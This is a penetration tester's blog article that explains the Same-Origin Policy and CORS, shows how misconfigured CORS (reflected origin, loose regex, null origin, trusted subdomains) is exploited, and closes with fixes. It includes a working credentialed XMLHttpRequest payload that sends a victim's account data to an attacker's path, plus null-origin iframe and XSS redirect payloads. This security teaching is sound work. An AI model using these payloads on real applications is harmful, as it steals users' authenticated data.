Before presenting practical examples of CORS misconfiguration, it is important to define several points. First, the principle of the Same-Origin Policy (SOP) will be explained, since the CORS mechanism modifies these rules by making them more flexible. We will then explain how CORS work. Finally, we will look at practical examples of improper configuration.
What is the Same-Origin Policy (SOP)?
Same-Origin Policy (SOP) is a security measure built into web browsers by default. Its main objective is to restrict access to web resources from different origins.
In practical terms, this means that the user’s browser automatically rejects some requests from a website whose protocol, port or host name differs from the original site hosting the resource.
To illustrate this security mechanism, let’s take the example of a URL, say, “http://example.com/” and examine the results of applying the SOP:
URL | Result | Reason |
http://example.com/* | OK | Only the path differs |
https://example.com/* | not OK | Not the same protocol |
http://example.com:1234/* | not OK | Not the same port |
The importance of SOP lies in its ability to limit the impact of cross-site scripting (XSS) attacks and to prevent read access to other sites, thus preventing data theft between websites.
What is CORS (Cross-Origin Resource Sharing)?
There may be situations where it is necessary to access resources from different origins (public APIs, for example).
To meet this need, the Cross-Origin Resource Sharing (CORS) mechanism has been designed to make the Same Origin Policy (SOP) more flexible.
In the case of routine requests, the CORS mechanism introduces specific HTTP headers to enable this interaction to take place securely.
The most important headers are “Access-Control-Allow-Origin” and “Access-Control-Allow-Credentials”:
- The “Access-Control-Allow-Origin” header indicates whether the origin is authorised to access the requested resource on the server. It generally specifies a domain or a list of domains which are authorised to make cross-origin requests to this resource.
- The “Access-Control-Allow-Credentials” header determines whether the server allows cross-origin requests to include credentials such as cookies or authentication tokens.
Prerequisites for exploiting CORS misconfiguration
Before trying to exploit a CORS issue, you first need to ensure that certain prerequisites are met.
Firstly, cookies must be used to access resources, and these cookies must not have the ‘SameSite’ option activated. Good practice is therefore to identify how the session is managed by the application.
We then need to know whether the “Access-Control-Allow-Credentials” header is present in the HTTP response. This header allows cookies to be sent when accessing resources from other origins.
We may also come across the following false positive:
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
This is an improper implementation, but CORS does not allow cookies to be sent from another origin when all origins are authorised using a wildcard.
Finally, it must be possible to modify the origin so that access to the resource is authorised from other domains.
We’ll look at the techniques for doing this in more detail in this article.
Exploiting CORS misconfiguration in web applications
Origin is reflected
Having to maintain a whitelist of authorised domains can become a tedious task, particularly when the application has to interact with numerous domains. To simplify this process, some applications opt for a more permissive approach by authorising access to resources from any domain. They achieve this by reading the value of the ‘Origin’ header of the incoming request and reflecting it directly in the server response.
However, this approach carries risks, as it can potentially expose sensitive data to unauthorised domains. To detect this behaviour, simply modify the “Origin” header of the request and check whether this modification is reflected in the server response. If the origin is reflected in the response, this means that the application is vulnerable and that unauthorised domains could access sensitive data.
Let’s take a concrete example to illustrate this situation. Let’s imagine a server hosted on the “domain.com” domain with an endpoint such as “/api/v1/account/” that returns sensitive user data for a web application.
To find out whether the origin is reflected, we modify the “origin” header with the URL “https://test.com”.
Request:
GET /api/v1/account/ HTTP/2
Host: domain.com
Cookie: session=v77QFGNrzt4upa4W0SuxLFMCOKmEibNo
Accept-Encoding: gzip, deflate
Origin: https://test.com
Response:
HTTP/2 200 OK
Access-Control-Allow-Origin: https://test.com
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 149
{“sensitive data”:”sensitive data”}
In response, the server reflects our origin.
All we need to do is host the following JavaScript code on our web server.
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://domain.com/api/v1/account',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/accountleak?='+this.responseText;
};
</script>
When a user of the platform visits the site hosting the malicious code, it will make a request to “https://domain.com/api/v1/account” and return the response on the attacker’s server.
Verification is based on a regular expression
As we have seen, authorising all origins by reflecting the contents of the header is a misconfiguration that jeopardises the security of the application.
Developers can therefore decide to add a check based on a regular expression.
This is a solution that can work when regular expressions are mastered.
However, sometimes this is not the case, so you may find yourself in situations where it is possible to bypass the check.
Let’s take the case where we want all sub-domains of “domain.com” to be authorised. We could imagine the following regular expression:
.+domain\.com
Here the “.” character is not escaped. An attacker could therefore be able to bypass this filter by registering the following domain name:
bypassdomain.com
Origin null is authorised
When developing web applications locally, it is not uncommon for the “null” origin to be added to the whitelist of authorised origins. This inclusion of ‘null’ in the whitelist can be a common practice to facilitate the development and debugging of applications on local environments. However, a problem arises when the application goes into production: developers can sometimes forget to remove ‘null’ from the whitelist.
To determine whether the ‘null’ origin is authorised, simply check whether it is reflected in the response.
Request:
GET /api/v1/account/
Host: domain.com
Origin: null
Response:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
To make requests from a null origin, you can use the script tag combined with the “sandbox” attribute. The rest of the attack is similar to a classic CORS problem.
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>[Code javascript]</script>"></iframe>
Attacks using vulnerable sub-domains
Sometimes, CORS rules can be configured to authorise access to resources from any sub-domain of a web application.
Let’s imagine the endpoint “/api/v1/account/” on domain.com. When we run tests on the authorised origins, we find that the server accepts requests from any sub-domain of “domain.com”.
Request:
GET /api/v1/account/ HTTP/2
Host: domain.com
Cookie: session=v77QFGNrzt4upa4W0SuxLFMCOKmEibNo
Accept-Encoding: gzip, deflate
Origin: https://subdomain.domain.com
Response:
HTTP/2 200 OK
Access-Control-Allow-Origin: https://subdomain.domain.com
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 149
{“sensitive data”:”sensitive data”}
The security of some sub-domains may be more lax, making them a prime target for XSS vulnerabilities.
An XSS can be used to make requests from sub-domains authorised by the application.
The following payload could be used to exploit such a scenario. It redirects a victim to the subdomain by including JavaScript code in a parameter vulnerable to XSS.
The code inside the vulnerable parameter is then simply replaced by the code used in an attack abusing a classic CORS problem.
<script>
document.location="http://subdomain.domain.com/?vulnerable_parameter=<script>[Code Javascript]</script>"
</script>
How to prevent CORS improper configuration
Fixing a CORS problem is fairly straightforward. If data is accessed via cookies, simply maintain a whitelist on trusted domains.
Alternatively, you can opt for header-based authentication, which eliminates the need to manage a whitelist.
Finally, it is important to pay particular attention to the overall security of whitelisted domains.
Author: Yacine DJABER – Pentester @Vaadata